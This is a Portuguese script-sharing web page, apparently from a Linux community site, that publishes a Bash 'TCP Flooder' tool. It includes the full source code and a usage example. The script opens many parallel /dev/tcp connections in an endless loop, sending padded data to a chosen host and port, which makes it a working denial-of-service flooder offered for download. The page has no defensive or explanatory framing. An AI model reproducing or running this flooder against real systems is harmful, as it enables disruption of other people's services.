TCP Flooder

Publicado por Perfil removido (última atualização em 18/11/2013)

[ Hits: 5.465 ]

Download tcp-flood.bash




TCP flooder feito em Shell Script.

  



Esconder código-fonte

#!/bin/bash
# TCP Fl0OD3R 8y MMxM

error(){
    echo -e "\n\n[sorry dude] connection refused\n\n"
    exit;
}

help(){
name=$(basename $0)
cat <<_EXPLAIN

[+] TCP Fl0OD3R 8y MMxM
 |
 |
 *--> [ Options ]
 |
 |  (-x [target-destination]    )
 |  (-p [port-destination]      )
 |  (-t [threads]           )
 |  (-s [size-of-package {bytes}]   )
 |
 *--> [ Example ]

    $name -x 127.0.0.1 -p 3306 -t 20 -s 2096

_EXPLAIN
exit;
}

flood(){
    dest=$1
    port=$2
    pack=$3
    echo "$pack" > /dev/tcp/$dest/$port
}

[ "$1" ] || help;

while getopts x:p:s:t: OPT;
do
    case "$OPT" in
        "x") target="${OPTARG}";;
        "p") port="${OPTARG}";;
        "s") size="${OPTARG}";;
        "t") threads="${OPTARG}";;
        "?") help;;
    esac
done

[ $port ] || help;
[ $target ] || help;
[ $size ] || help;
[ $threads ] || help;

echo >/dev/tcp/$target/$port || error

pack=$(printf %"$size"s |tr " " "M")

echo -e "\n[+] Starting flood\n[*]Ctrl+c to stop !!!\n\n"
sleep 2

declare -A pids
nn=0
while [ 1 ]
do
    echo -ne "\r[$nn] Packets sent";
    for i in $(seq $threads)
    do
        flood $target $port $pack &
        pid=$!
        pids[$pid]=$i
        nn=$(($nn+1))
    done

    while [ -n "${pids[*]}" ]; do
        sleep 1
        for pid in "${!pids[@]}"; do
            if ! ps "$pid" >/dev/null; then
                unset pids[$pid]
            fi
        done

        if [ -z "${!pids[*]}" ]; then
            break
        fi
    done

done

Scripts recomendados

sbogrupo - ferramenta de consulta à base de dados do sbopkg

imdb-cli - consultar filmes, séries e atores pelo site IMDB no terminal

Getcursofe - Download do Curso Fé do Missionário R.R. Soares

Padronização de usuários em vários micros

Visualizar os processos que mais consomem memória


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts